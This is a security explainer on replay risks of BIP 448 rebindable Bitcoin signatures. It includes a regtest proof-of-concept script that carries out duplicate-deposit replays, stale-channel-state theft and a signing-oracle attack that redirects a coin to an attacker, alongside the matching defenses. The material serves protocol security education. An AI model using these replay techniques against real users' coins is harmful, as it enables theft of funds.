Every Bitcoin signature in use today names the exact coin it spends. Signatures built with BIP 448 don’t have to. BIP 448, Taproot-native (Re)bindable Transactions by Gregory Sanders, Antoine Poinsot and Steven Roose, bundles three tapscript opcodes, OP_TEMPLATEHASH (BIP 446), OP_CHECKSIGFROMSTACK (BIP 348) and OP_INTERNALKEY (BIP 349).
A rebindable signature signs off on a transaction shape rather than a coin and can be attached to any coin that fits the shape. It also changes one of the oldest rules of key hygiene. With ordinary signatures, key reuse is mostly a privacy leak. With rebindable signatures, reusing a key or a script can let anyone who has seen one of your signatures spend a second coin you never meant to spend.
All three opcodes are already active on signet in Bitcoin Inquisition. SIGHASH_ANYPREVOUT (BIP 118) produces the same kind of signature and carries the same risks.
What an ordinary signature is bound to
An ordinary taproot signature can only ever be used once because it commits to the outpoint of the coin it spends. Under BIP 341 and BIP 342 the signed message includes these fields, among others.
the transaction version and nLockTime
the outpoints (txid and output index) of the inputs it covers
the amounts and scriptPubKeys of the coins being spent
the nSequence values
the outputs
for script path spends, the tapleaf hash, the key version and the
OP_CODESEPARATORposition
SIGHASH_ANYONECANPAY stops committing to the other inputs. It still commits to this input’s own outpoint. An outpoint can be spent only once, so the signature dies with the coin. Address reuse leaks privacy but nobody can point an old signature at a new coin.
Rebindable signatures give up exactly that guarantee.
In legacy scripts, a SIGHASH_SINGLE signature on an input with no matching output signs the constant 1 instead of the transaction, a quirk known as the SIGHASH_SINGLE bug. Such a signature commits to nothing, so anyone who sees it can spend any legacy coin that only needs that key’s signature and choose where the money goes. Segwit v0 still commits to the outpoint in that case and taproot rejects the signature outright.
How BIP 448 builds a rebindable signature
A BIP 448 rebindable signature is a CHECKSIGFROMSTACK signature over the spending transaction’s template hash. The three opcodes compose into a three-opcode leaf.
witness: <sig>
script: OP_TEMPLATEHASH OP_INTERNALKEY OP_CHECKSIGFROMSTACKOP_TEMPLATEHASH pushes the template hash of the transaction being validated. OP_INTERNALKEY pushes the output’s taproot internal key. OP_CHECKSIGFROMSTACK then checks a BIP 340 signature by that key over that 32-byte hash. A leaf can push an explicit key in place of OP_INTERNALKEY and add other conditions, such as a state number check.
The template hash is a tagged hash (tag TemplateHash) over a short list of fields. The table compares it with what an ordinary BIP 341 SIGHASH_ALL signature covers.
A signature over the template hash therefore fits any coin of any amount whose script checks the same key against the template hash as long as the spending transaction is otherwise identical.
No sighash flags: The template always covers every output, so there is no NONE or SINGLE variant. That rules out the worst replays, the ones where the replayer gets to choose the outputs.
No amount commitment: BIP 446 weighs committing to spent amounts and leaves it out. It notes that such a commitment may give extra protection when a key that made a rebindable signature is reused. It counts against it that the protection is limited without a scriptPubKey commitment and that an overfunded output would become unspendable instead of paying the excess as fee.
No special key type: The key is an ordinary 32-byte x-only key, usually the internal key itself. Nothing about a key marks it as one that has signed or will sign rebindable messages.
The replay, step by step
A replay needs no keys, only a published witness and a second coin that matches it. The simplest case uses the leaf from the previous section.
Alice locks 1 BTC in Coin A at script S, an output whose internal key is hers and whose script tree holds the leaf
OP_TEMPLATEHASH OP_INTERNALKEY OP_CHECKSIGFROMSTACK.She builds Tx 1 paying Bob, signs its template hash and broadcasts it. Once it confirms, her signature σ is public.
Later a second coin, Coin B lands at the same script S. Alice may have reused the address or a payer sent the payment twice.
Anyone copies Tx 1, swaps the input’s outpoint for Coin B and leaves the witness alone. Version, nLockTime, sequences, outputs and input index are unchanged, so the template hash is the same and σ still verifies.
Tx 2 is valid. Coin B goes to Bob, though Alice never signed for it.
If Bob does the rebinding, Bob is paid twice. If a stranger does it, the stranger gains nothing directly but Alice still loses the coin. The next section shows how the size of the second coin decides who gains and why a miner can profit even when Bob doesn’t replay.
What a replay is worth
The template fixes every output but not the amount, so the size of the second coin decides who profits from a replay.
Three details make this worse than it first looks.
Anyone can do it: The replayer needs no key, only the witness that is already on chain or in the mempool.
The replay is a valid, ordinary transaction: It spends a different outpoint, so it has a new txid and conflicts with nothing. Nodes relay it like any other spend.
Timelocks don’t save you: nLockTime and every nSequence are in the template, so the replay inherits the original’s timelocks. Once the original was spendable, the replay usually is too.
How reuse happens by accident
Nobody plans to reuse a rebindable key. It happens anyway, in a few ordinary ways.
Nothing marks the key: A BIP 448 key is a plain x-only key. The same key can sit in a key path, a multisig leaf and a rebindable leaf, and nothing at the key level tells a wallet it needs special care.
A rebindable signature can’t spend through the key path or an ordinary leaf, though. Only coins whose script holds a rebindable check for that key are exposed.Shared internal keys: The leaf
OP_TEMPLATEHASH OP_INTERNALKEY OP_CHECKSIGFROMSTACKcontains no key bytes at all, so it is the same leaf in every output that uses it. BIP 349 presents this as a feature, since changing the internal key re-keys the whole tree. It also means the internal key is the only thing keeping those outputs apart. A wallet that builds several outputs on one internal key with that leaf makes every rebindable signature by that key valid for all of them.Duplicate payments: Exchanges retry withdrawals, users paste an address from history, payers repeat a payment. With no amount commitment, any second coin at the script that covers the outputs is enough.
One key in several contracts: A key used in two channels, two vaults, or a channel and a vault links them. A signature made in one can spend a coin in the other that checks the same key in a rebindable leaf.
Signing oracles:
CHECKSIGFROMSTACKaccepts a signature over any message. If the same key ever signs a 32-byte value an outsider supplies, such as an oracle attestation, a delegation or a login challenge, the outsider can hand it a template hash and get back a spending signature.
A key that signs values an outsider supplies is already unsafe today, because the outsider can hand it a taproot sighash. With a rebindable leaf, the resulting signature also works for every later coin that matches.Signatures held by third parties: Watchtowers, backup services and co-signers often keep signed transactions that were never broadcast. Each one is a live authorization for every future coin that matches it, long after the contract it was made for has closed.
With ordinary signatures, a leaked but unused signed transaction expires the moment its coin is spent. A rebindable signature expires only when its key can never again see a matching coin.
Proof of Concept
#!/usr/bin/env python3
import json
import os
import subprocess
import sys
from decimal import Decimal
HERE = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, os.path.join(os.environ.get("BITCOIN_SRC", os.path.join(HERE, "bitcoin")),
"test", "functional"))
from test_framework.address import output_key_to_p2tr
from test_framework.key import (TaggedHash, compute_xonly_pubkey, sign_schnorr,
tweak_add_privkey)
from test_framework.messages import (COutPoint, CTransaction, CTxIn, CTxInWitness,
CTxOut, sha256)
from test_framework.script import (BIP341_sha_outputs, BIP341_sha_sequences, CScript,
CScriptOp, TaprootSignatureHash, taproot_construct,
OP_CHECKSIG, OP_CHECKLOCKTIMEVERIFY,
OP_CHECKSEQUENCEVERIFY, OP_DROP)
CLI = [os.environ.get("BITCOIN_CLI", os.path.join(HERE, "inq/bitcoin-29.4-inq/bin/bitcoin-cli")),
"-regtest", "-datadir=" + os.environ.get("DATADIR", os.path.join(HERE, "regtest")),
"-rpcport=" + os.environ.get("RPCPORT", "28443"), "-rpcwallet=w"]
OP_TEMPLATEHASH, OP_CHECKSIGFROMSTACK, OP_INTERNALKEY = CScriptOp(0xce), CScriptOp(0xcc), CScriptOp(0xcb)
P2A = bytes.fromhex("51024e73") # P2A anchor
A = 100_000 # sats
SEQ = 0xfffffffd
ELTOO_BASE = 500_000_000 # eltoo state numbers start here
def rpc(*args):
r = subprocess.run(CLI + [str(a) for a in args], capture_output=True, text=True)
if r.returncode:
raise RuntimeError(r.stderr.strip() or r.stdout.strip())
out = r.stdout.strip()
try:
return json.loads(out)
except json.JSONDecodeError:
return out
def try_rpc(*args):
try:
return True, rpc(*args)
except RuntimeError as e:
return False, str(e)
def key(label):
k = sha256(label.encode())
return k, compute_xonly_pubkey(k)[0]
def templatehash(tx, idx=0):
return TaggedHash("TemplateHash",
tx.version.to_bytes(4, "little") + tx.nLockTime.to_bytes(4, "little")
+ BIP341_sha_sequences(tx) + BIP341_sha_outputs(tx)
+ b"\x00" + idx.to_bytes(4, "little"))
def mine(n=1, txs=None):
addr = rpc("getnewaddress")
if txs:
return rpc("generateblock", addr, json.dumps(txs))["hash"]
return rpc("generatetoaddress", n, addr)[-1]
def h(title):
print(f"\n=== {title} " + "=" * max(0, 74 - len(title)))
a_priv, A_PUB = key("alice")
b_priv, B_PUB = key("bob")
s_priv, S_PUB = key("stranger")
LEAF = CScript([OP_TEMPLATEHASH, OP_INTERNALKEY, OP_CHECKSIGFROMSTACK])
TR_S = taproot_construct(A_PUB, [("t", LEAF)]) # rebindable script S
S_SPK = bytes(TR_S.scriptPubKey)
S_ADDR = output_key_to_p2tr(TR_S.output_pubkey)
CONTROL_S = bytes([0xc0 + TR_S.negflag]) + A_PUB + TR_S.leaves["t"].merklebranch
a_tweaked = tweak_add_privkey(a_priv, TR_S.tweak) # key path
ALICE_FEE_TR = taproot_construct(A_PUB, []) # fee coins
ALICE_FEE_ADDR = output_key_to_p2tr(ALICE_FEE_TR.output_pubkey)
ALICE_FEE_SPK = bytes(ALICE_FEE_TR.scriptPubKey)
a_fee_tweaked = tweak_add_privkey(a_priv, ALICE_FEE_TR.tweak)
ALICE_SPK = bytes(taproot_construct(key("alice-payout")[1], []).scriptPubKey)
BOB_TR = taproot_construct(B_PUB, [])
BOB_SPK = bytes(BOB_TR.scriptPubKey)
BOB_ADDR = output_key_to_p2tr(BOB_TR.output_pubkey)
b_tweaked = tweak_add_privkey(b_priv, BOB_TR.tweak)
STR_TR = taproot_construct(S_PUB, [])
STR_SPK = bytes(STR_TR.scriptPubKey)
STR_ADDR = output_key_to_p2tr(STR_TR.output_pubkey)
s_tweaked = tweak_add_privkey(s_priv, STR_TR.tweak)
alice_pool, bob_pool, str_pool = [], [], []
def fund(addr, spk_hex, sats):
txid = rpc("sendtoaddress", addr, format(Decimal(sats) / Decimal(100_000_000), "f"))
raw = rpc("getrawtransaction", txid, 1)
for o in raw["vout"]:
if o["scriptPubKey"]["hex"] == spk_hex:
return txid, o["n"], int(round(float(o["value"]) * 1e8))
raise RuntimeError("funding output not found")
def fund_pool(pool, addr, spk_hex, n, amount=A):
for _ in range(n):
pool.append(fund(addr, spk_hex, amount))
mine(1)
def tmpl_tx(prev_txid, prev_vout, outputs, sig=None, leaf=LEAF, control=CONTROL_S,
locktime=0):
tx = CTransaction()
tx.version = 3
tx.nLockTime = locktime
tx.vin = [CTxIn(COutPoint(int(prev_txid, 16), prev_vout), b"", SEQ)]
tx.vout = outputs
if sig is not None:
tx.wit.vtxinwit = [CTxInWitness()]
tx.wit.vtxinwit[0].scriptWitness.stack = [sig, bytes(leaf), control]
tx.rehash()
return tx
def cpfp(parent, anchor_idx, pool, tweaked, fee_spk, out_spk, fee=2_000):
ftxid, fvout, famount = pool.pop()
tx = CTransaction()
tx.version = 3
tx.nLockTime = 0
tx.vin = [CTxIn(COutPoint(int(parent.hash, 16), anchor_idx), b"", SEQ),
CTxIn(COutPoint(int(ftxid, 16), fvout), b"", SEQ)]
tx.vout = [CTxOut(famount - fee, out_spk)]
spent = [CTxOut(0, P2A), CTxOut(famount, fee_spk)]
sig = sign_schnorr(tweaked, TaprootSignatureHash(tx, spent, hash_type=0,
input_index=1, scriptpath=False))
tx.wit.vtxinwit = [CTxInWitness(), CTxInWitness()]
tx.wit.vtxinwit[0].scriptWitness.stack = []
tx.wit.vtxinwit[1].scriptWitness.stack = [sig]
tx.rehash()
return tx
def pkg(parent, child):
return try_rpc("submitpackage", json.dumps([parent.serialize().hex(),
child.serialize().hex()]))
def sig_from_chain(txid):
raw = rpc("getrawtransaction", txid, 1)
return bytes.fromhex(raw["vin"][0]["txinwitness"][0])
def tx_outs(txid):
raw = rpc("getrawtransaction", txid, 1)
return [(int(round(float(o["value"]) * 1e8)), o["scriptPubKey"]["hex"])
for o in raw["vout"]]
def main():
ok, _ = try_rpc("getwalletinfo")
if not ok:
ok, _ = try_rpc("createwallet", "w")
if not ok:
rpc("loadwallet", "w")
h("setup")
print("bare leaf S :", LEAF.hex(), "(OP_TEMPLATEHASH OP_INTERNALKEY OP_CHECKSIGFROMSTACK)")
print("address S :", S_ADDR, "(alice's internal key)")
print("bob :", BOB_ADDR)
print("stranger :", STR_ADDR, "(attacker; owns only ordinary coins, no keys of S)")
h("funding fee pools (ordinary taproot coins)")
mine(110)
fund_pool(alice_pool, ALICE_FEE_ADDR, ALICE_FEE_SPK.hex(), 8)
fund_pool(bob_pool, BOB_ADDR, BOB_SPK.hex(), 4)
fund_pool(str_pool, STR_ADDR, STR_SPK.hex(), 10)
print(f"{len(alice_pool)} alice fee coins, {len(bob_pool)} bob, {len(str_pool)} stranger")
h("scenario 1: duplicate deposit -> a stranger replays sigma, Bob is paid twice")
T_PAY_OUTS = [CTxOut(30_000, BOB_SPK), CTxOut(70_000, S_SPK), CTxOut(0, P2A)]
SIGMA_PAY = sign_schnorr(a_priv, templatehash(tmpl_tx("00" * 32, 0, T_PAY_OUTS)))
print("T_pay : 100_000 at S -> 30_000 bob, 70_000 change at S, anchor")
print("sigma_pay :", SIGMA_PAY.hex()[:32], "... (signed once, at setup)")
coinA = fund(S_ADDR, S_SPK.hex(), A)
mine(1)
tx1 = tmpl_tx(coinA[0], coinA[1], T_PAY_OUTS, sig=SIGMA_PAY)
ok, res = pkg(tx1, cpfp(tx1, 2, alice_pool, a_fee_tweaked, ALICE_FEE_SPK, ALICE_FEE_SPK))
assert ok and res["package_msg"] == "success", res
mine(1)
print("alice's legit payment confirmed:", tx1.hash)
coinB = fund(S_ADDR, S_SPK.hex(), A)
mine(1)
print("a second 100_000-sat coin landed at the SAME address S:", coinB[0][:16], "...")
sigma_public = sig_from_chain(tx1.hash)
print("stranger read sigma from the public chain; identical to setup sigma:",
sigma_public == SIGMA_PAY)
tx2 = tmpl_tx(coinB[0], coinB[1], T_PAY_OUTS, sig=sigma_public)
ok, res = pkg(tx2, cpfp(tx2, 2, str_pool, s_tweaked, STR_SPK, STR_SPK))
print("stranger's replay (no key, own fee coin) accepted:",
ok and res.get("package_msg") == "success")
mine(1)
outs1, outs2 = tx_outs(tx1.hash), tx_outs(tx2.hash)
print(" legit tx outputs :", [(v, s[:12]) for v, s in outs1])
print(" replay tx outputs:", [(v, s[:12]) for v, s in outs2])
assert outs1 == outs2, "replay must reproduce the template exactly"
print(" -> Bob was paid 30_000 TWICE. Alice signed once.")
print(" -> the two 70_000 change coins at S are UNDERFUNDED for T_pay:")
print(" they cannot be moved through the leaf at all (see scenario 2).")
h("scenario 2: no amount commitment -> overfund pays the miner, underfund freezes")
T_WD_OUTS = [CTxOut(30_000, BOB_SPK), CTxOut(69_000, S_SPK)]
SIGMA_WD = sign_schnorr(a_priv, templatehash(tmpl_tx("00" * 32, 0, T_WD_OUTS)))
print("T_withdraw : coin at S -> 30_000 bob, 69_000 change at S (fixed 1_000 fee)")
coin = fund(S_ADDR, S_SPK.hex(), A)
mine(1)
txw = tmpl_tx(coin[0], coin[1], T_WD_OUTS, sig=SIGMA_WD)
ok, res = try_rpc("sendrawtransaction", txw.serialize().hex())
assert ok, res
mine(1)
print("legit 100_000-sat withdrawal confirmed:", txw.hash)
fat = fund(S_ADDR, S_SPK.hex(), 150_000)
mine(1)
sigma_wd_pub = sig_from_chain(txw.hash)
txfat = tmpl_tx(fat[0], fat[1], T_WD_OUTS, sig=sigma_wd_pub)
ok, res = try_rpc("sendrawtransaction", txfat.serialize().hex())
print("replay on a 150_000-sat coin accepted:", ok)
mine(1)
excess = 150_000 - sum(v for v, _ in tx_outs(txfat.hash))
print(f" -> replay confirmed: outputs 99_000, {excess} sats go to the miner as fee")
dust = fund(S_ADDR, S_SPK.hex(), 50_000)
mine(1)
txdust = tmpl_tx(dust[0], dust[1], T_WD_OUTS, sig=sigma_wd_pub)
ok, res = try_rpc("sendrawtransaction", txdust.serialize().hex())
print("replay on a 50_000-sat coin accepted:", ok)
if not ok:
print(" reason:", res.splitlines()[0][:110])
print(" -> the 50_000 coin can NEVER move through the leaf.")
sweep = CTransaction()
sweep.version = 2
sweep.vin = [CTxIn(COutPoint(int(dust[0], 16), dust[1]), b"", SEQ)]
sweep.vout = [CTxOut(48_000, ALICE_SPK)]
sighash = TaprootSignatureHash(sweep, [CTxOut(50_000, S_SPK)], hash_type=0,
input_index=0, scriptpath=False)
sweep.wit.vtxinwit = [CTxInWitness()]
sweep.wit.vtxinwit[0].scriptWitness.stack = [sign_schnorr(a_tweaked, sighash)]
sweep.rehash()
ok, res = try_rpc("sendrawtransaction", sweep.serialize().hex())
print("alice's key-path rescue of the frozen coin confirmed:", ok)
mine(1)
print()
print("anchored template, same hole: T_pay replayed on a 150_000-sat coin")
fat = fund(S_ADDR, S_SPK.hex(), 150_000)
mine(1)
tx2c = tmpl_tx(fat[0], fat[1], T_PAY_OUTS, sig=sigma_public)
ok, res = pkg(tx2c, cpfp(tx2c, 2, str_pool, s_tweaked, STR_SPK, STR_SPK))
relayed = ok and isinstance(res, dict) and res.get("package_msg") == "success"
print("overfunded anchored replay relayed:", relayed)
if not relayed:
print(" policy says:", (res if isinstance(res, str) else json.dumps(res))[:400])
mine(1, txs=[tx2c.serialize().hex()])
fees = rpc("getblockstats", int(rpc("getblockcount")))["totalfee"]
print("the same tx mined directly by the replaying miner: block fees =", fees, "sats")
print(" -> consensus never objected. The excess is not burned, it is a")
print(" bounty: 'a miner has a direct reason to replay it' holds for")
print(" every template design, anchored or not.")
h("scenario 3: stale state replay = theft (naive channel, one internal key)")
u_priv, U_PUB = key("channel")
TR_C = taproot_construct(U_PUB, [("t", LEAF)])
C_SPK = bytes(TR_C.scriptPubKey)
C_ADDR = output_key_to_p2tr(TR_C.output_pubkey)
CONTROL_C = bytes([0xc0 + TR_C.negflag]) + U_PUB + TR_C.leaves["t"].merklebranch
T0_OUTS = [CTxOut(40_000, ALICE_SPK), CTxOut(60_000, BOB_SPK), CTxOut(0, P2A)]
T1_OUTS = [CTxOut(60_000, ALICE_SPK), CTxOut(40_000, BOB_SPK), CTxOut(0, P2A)]
sigma0 = sign_schnorr(u_priv, templatehash(tmpl_tx("00" * 32, 0, T0_OUTS)))
sigma1 = sign_schnorr(u_priv, templatehash(tmpl_tx("00" * 32, 0, T1_OUTS)))
print("state 0: alice 40_000 / bob 60_000 sigma_0 exchanged at setup")
print("state 1: alice 60_000 / bob 40_000 sigma_1 exchanged at setup (current)")
del u_priv
chan = fund(C_ADDR, C_SPK.hex(), A)
mine(1)
print("channel coin at state 1:", chan[0][:16], "...")
txstale = tmpl_tx(chan[0], chan[1], T0_OUTS, sig=sigma0, leaf=LEAF, control=CONTROL_C)
ok, res = pkg(txstale, cpfp(txstale, 2, bob_pool, b_tweaked, BOB_SPK, BOB_SPK))
print("bob replays the STALE sigma_0 (pays bob 60_000 instead of 40_000):",
ok and res.get("package_msg") == "success")
mine(1)
bobgot = [v for v, s in tx_outs(txstale.hash) if s == BOB_SPK.hex()]
print(f" -> confirmed. bob received {bobgot[0]}; theft of {bobgot[0] - 40_000} sats.")
print(" -> 'sigma is bound to the outputs' is NOT a defense once more than")
print(" one template is valid for the same script. It is bound to the")
print(" WRONG outputs. sigma_1 was equally replayable: whoever broadcasts")
print(" a stale state first wins.")
del sigma1
h("scenario 4: the eltoo/LN-Symmetry fix -- state numbers make old sigs unbindable")
u2_priv, U2_PUB = key("eltoo-channel")
SETTLE_LEAF = CScript([10, OP_CHECKSEQUENCEVERIFY, OP_DROP, U2_PUB, OP_CHECKSIG])
eltoo_tr, eltoo_ctrl, eltoo_spk = [], [], []
for i in range(4):
upd = CScript([ELTOO_BASE + i + 1, OP_CHECKLOCKTIMEVERIFY, OP_DROP,
OP_TEMPLATEHASH, OP_INTERNALKEY, OP_CHECKSIGFROMSTACK])
tr = taproot_construct(U2_PUB, [("upd", upd), ("settle", SETTLE_LEAF)])
eltoo_tr.append(tr)
eltoo_ctrl.append(bytes([0xc0 + tr.negflag]) + U2_PUB
+ tr.leaves["upd"].merklebranch)
eltoo_spk.append(bytes(tr.scriptPubKey))
sigmas = {}
for j in (1, 2, 3):
outs = [CTxOut(A, eltoo_spk[j]), CTxOut(0, P2A)]
t = tmpl_tx("00" * 32, 0, outs, locktime=ELTOO_BASE + j)
sigmas[j] = sign_schnorr(u2_priv, templatehash(t))
del u2_priv
print("updates 1..3 signed at setup; each commits to nLockTime = BASE + state")
def upd_tx(prev, j):
outs = [CTxOut(A, eltoo_spk[j]), CTxOut(0, P2A)]
return tmpl_tx(prev[0], prev[1], outs, sig=sigmas[j],
leaf=eltoo_tr[prev[2]].leaves["upd"].script,
control=eltoo_ctrl[prev[2]], locktime=ELTOO_BASE + j)
e0 = fund(output_key_to_p2tr(eltoo_tr[0].output_pubkey), eltoo_spk[0].hex(), A)
mine(1)
cur = (e0[0], e0[1], 0)
for j in (1, 2):
t = upd_tx(cur, j)
ok, res = pkg(t, cpfp(t, 1, alice_pool, a_fee_tweaked, ALICE_FEE_SPK, ALICE_FEE_SPK))
assert ok and res["package_msg"] == "success", res
mine(1)
print(f"update {j} rebound onto state {cur[2]}'s output: OK ({t.hash[:16]}...)")
cur = (t.hash, 0, j)
stale = upd_tx(cur, 1)
ok, res = pkg(stale, cpfp(stale, 1, str_pool, s_tweaked, STR_SPK, STR_SPK))
print("replay of STALE update 1 onto the state-2 coin accepted:",
ok and res.get("package_msg") == "success")
if ok:
print(" parent error:", list(res["tx-results"].values())[0].get("error"))
else:
print(" reason:", res.splitlines()[0][:110])
print(" -> CLTV in the state-2 leaf demands nLockTime >= BASE+3; the stale")
print(" update carries BASE+1. Regression is impossible, by script.")
fwd = upd_tx(cur, 3)
ok, res = pkg(fwd, cpfp(fwd, 1, alice_pool, a_fee_tweaked, ALICE_FEE_SPK, ALICE_FEE_SPK))
print("update 3 (newer) binding onto the state-2 output accepted:",
ok and res.get("package_msg") == "success")
mine(1)
print(" -> forward rebinding still works; the binding is one-way.")
h("scenario 5: signing oracle -- attacker CHOOSES the outputs (full redirection)")
victim = fund(S_ADDR, S_SPK.hex(), A)
mine(1)
print("alice has a fresh 100_000-sat coin at S; nothing was ever spent from S,")
print("so no signature for it exists anywhere on chain.")
T_THEFT = [CTxOut(100_000, STR_SPK), CTxOut(0, P2A)] # attacker picks the outputs
msg = templatehash(tmpl_tx("00" * 32, 0, T_THEFT))
print("attacker presents 32 opaque bytes to alice's signing oracle:", msg.hex()[:24], "...")
def alice_signing_oracle(m):
assert len(m) == 32 # signs any 32 bytes
return sign_schnorr(a_priv, m)
sigma_theft = alice_signing_oracle(msg)
txtheft = tmpl_tx(victim[0], victim[1], T_THEFT, sig=sigma_theft)
ok, res = pkg(txtheft, cpfp(txtheft, 1, str_pool, s_tweaked, STR_SPK, STR_SPK))
print("attacker's tx paying THEMSELVES the whole coin accepted:",
ok and res.get("package_msg") == "success")
mine(1)
got = [v for v, s in tx_outs(txtheft.hash) if s == STR_SPK.hex()]
print(f" -> confirmed: {got[0]} sats to the attacker. Full theft, off-chain origin.")
print(" -> blind-signing oracles are dangerous today too (a leaked BIP 341")
print(" sighash signature steals ONE known coin); BIP 448 makes one leak")
print(" spend EVERY matching coin, forever. Keep rebindable keys")
print(" single-purpose; tag every other CSFS message (protocol tag +")
print(" contract id + nonce).")
h("scenario 6: defense -- sweep the stray coin through the key path first")
stray = fund(S_ADDR, S_SPK.hex(), A)
mine(1)
print("another duplicate 100_000-sat coin landed at S:", stray[0][:16], "...")
sweep2 = CTransaction()
sweep2.version = 2
sweep2.vin = [CTxIn(COutPoint(int(stray[0], 16), stray[1]), b"", SEQ)]
sweep2.vout = [CTxOut(98_000, ALICE_SPK)]
sh = TaprootSignatureHash(sweep2, [CTxOut(A, S_SPK)], hash_type=0,
input_index=0, scriptpath=False)
sweep2.wit.vtxinwit = [CTxInWitness()]
sweep2.wit.vtxinwit[0].scriptWitness.stack = [sign_schnorr(a_tweaked, sh)]
sweep2.rehash()
ok, res = try_rpc("sendrawtransaction", sweep2.serialize().hex())
print("alice's watching wallet swept the stray coin via the key path:", ok)
mine(1)
late = tmpl_tx(stray[0], stray[1], T_PAY_OUTS, sig=sigma_public)
ok, res = pkg(late, cpfp(late, 2, str_pool, s_tweaked, STR_SPK, STR_SPK))
print("stranger's replay of the same coin afterwards accepted:",
ok and res.get("package_msg") == "success")
if not ok:
print(" reason:", res.splitlines()[0][:110])
print(" -> the owner CAN defend, but only by racing: watching the script and")
print(" spending through a non-rebindable path before anyone replays.")
h("summary: what reusing rebindable signatures actually costs")
rows = [
("1 duplicate deposit", "none (sigma from chain)", "Bob paid twice; alice charged",
"fresh address per deposit; sweep strays via key path"),
("2 overfund top-up", "none (sigma from chain)", "excess goes to whoever mines the replay",
"amount commitment would freeze instead (BIP 446 trade-off)"),
("2 underfund coin", "-", "coin frozen for the leaf path",
"key path or non-rebindable leaf as an escape hatch"),
("3 stale state", "none (sigma from backup)", "direct theft of the balance delta",
"state numbers in nLockTime/nSequence checked by script"),
("4 eltoo fix", "-", "stale replay rejected on-chain",
"CLTV state check: newer binds to older, never reverse"),
("5 signing oracle", "one blind signature", "FULL redirection to attacker",
"single-purpose keys; tag every other CSFS message"),
("6 owner defense", "owner key + watching", "race: sweep beats replay",
"wallets must flag deposits to rebindable scripts"),
]
for name, needs, harm, fix in rows:
print(f" [{name}]")
print(f" attacker needs : {needs}")
print(f" harm : {harm}")
print(f" mitigation : {fix}")
print()
print("ordinary signatures die with their coin. A BIP 448 signature over a")
print("template hash dies only when its key can never again see a matching coin.")
print("for keys that guard a rebindable leaf, key reuse stops being a privacy")
print("leak and becomes a standing authorization; other keys are unaffected.")
if __name__ == "__main__":
main()
How LN-Symmetry rebinds safely
It rebuilds the lost binding out of keys, scripts and nLockTime. The mechanism comes from the 2018 eltoo paper, which assumed the older SIGHASH_NOINPUT proposal. A BIP 448 template hash signature gives update transactions the same freedom to rebind, and BIP 446 adds that it cuts round trips in an LN-Symmetry implementation.
The funding output and each update output use one script with two branches. One lets a later update transaction spend it with the update keys. The other lets a settlement transaction spend it after a relative delay (
OP_CHECKSEQUENCEVERIFY).Update i stores its state number in nLockTime, using values above 500,000,000. Those read as Unix timestamps already in the past, so the lock is always met. The update branch of its output requires a state of at least S_i + 1 through
OP_CHECKLOCKTIMEVERIFY. Because nLockTime is in the signed template, a newer update can bind to any older output, and an older update can never bind to a newer one.In the paper, each state derives its own settlement keys, so a settlement signature fits only the update output of its own state.
The paper’s warning about
NOINPUTapplies word for word to BIP 448 keys. “NOINPUTMUST NOT be used, unless it is explicitly needed for the application”, and an application “SHOULD generate a new key-pair for the application instance usingNOINPUTsignatures and MUST NOT reuse them afterwards.”
If one party broadcasts stale Update 1, the other answers with Update 3, rebound onto Update 1’s output before the settlement delay runs out. The reverse replay fails the script’s state check.
One gap remains even here. The funding output shares the update script, so a second payment to the funding address can be swept by any update transaction. The update’s outputs are fixed by its template, so a deposit the size of the channel gets pulled into the channel, anything extra goes to miners as fee, and a smaller deposit can’t be swept by that update at all. Nobody should pay a channel’s funding address twice and wallets should make that hard to do.
Best practices
Derive rebindable keys fresh for every contract. Never share them across channels, vaults or users.
Give unrelated outputs their own internal keys. With
OP_INTERNALKEYthe leaf is identical everywhere, so the internal key is the only thing keeping outputs apart. Within one contract, only outputs meant to be rebound onto each other, such as the update outputs of one channel, should share a key.Keep rebindable keys single-purpose. Never use them for oracle attestations, delegations, login challenges or any message a third party can choose.
Never show a rebindable script as a receive address. Wallets should refuse to display one and should flag any unexpected deposit to it.
Put ordering into the committed fields. A state number in nLockTime, checked with
OP_CHECKLOCKTIMEVERIFYkeeps a rebindable signature from moving backwards.Sweep stray coins quickly through another path. If a duplicate deposit lands on a rebindable script, spend it through the key path or a non-rebindable leaf, where one exists, before someone replays an old signature.
Treat stored signatures like keys. Backups and watchtower data holding rebindable signatures stay dangerous for as long as the key could see another matching coin.
Tag every other
CHECKSIGFROMSTACKmessage. Put a protocol tag, a contract identifier and a state number or nonce inside the signed bytes.
ANYPREVOUT has the same risks
Everything above applies to SIGHASH_ANYPREVOUT (BIP 118) as well. APO drops the outpoint from a BIP 341 signature, so its signatures rebind the same way. BIP 118 warns that “implementers MUST ensure that BIP 118 public keys are only reused when signature replay cannot cause loss of funds.” The same goes for the LNHANCE pairing of CHECKTEMPLATEVERIFY with CHECKSIGFROMSTACK, which BIP 448 credits as its predecessor and BIP 348 calls “logically equivalent” to a SIGHASH_ALL|SIGHASH_ANYPREVOUTANYSCRIPT signature.
The differences:
ANYPREVOUTANYSCRIPTalso drops the amount and the script, so it rebinds about as freely as a BIP 448 signature.Plain
ANYPREVOUTstill commits to the amount and scriptPubKey, so a replay needs a coin of the same amount at the same script. That narrows replays but doesn’t stop them.APOkeeps theNONEandSINGLEoutput flags. WithANYPREVOUT|NONEa replayer takes the whole coin. WithSINGLE, they take everything outside the paired output.APOneeds its own 0x01-prefixed key type, which makes rebinding opt-in at the key level. A BIP 448 key carries no such marker.
Closing
Rebindable signatures are a deliberate trade. They give up the one property that made old signatures harmless, the binding to a single coin in return for transactions that can float across states. Protocols that make this trade knowingly put the binding back somewhere else, in fresh keys, signed state numbers and scripts that only accept forward moves.
The danger lies in everything outside those protocols. That means wallets that treat a rebindable key like any other key, users who pay an address twice, signers that sign whatever 32 bytes they are handed and backups that keep signatures around for years.
If BIP 448 activates, rebinding turns key reuse from a privacy mistake into a spending authorization.






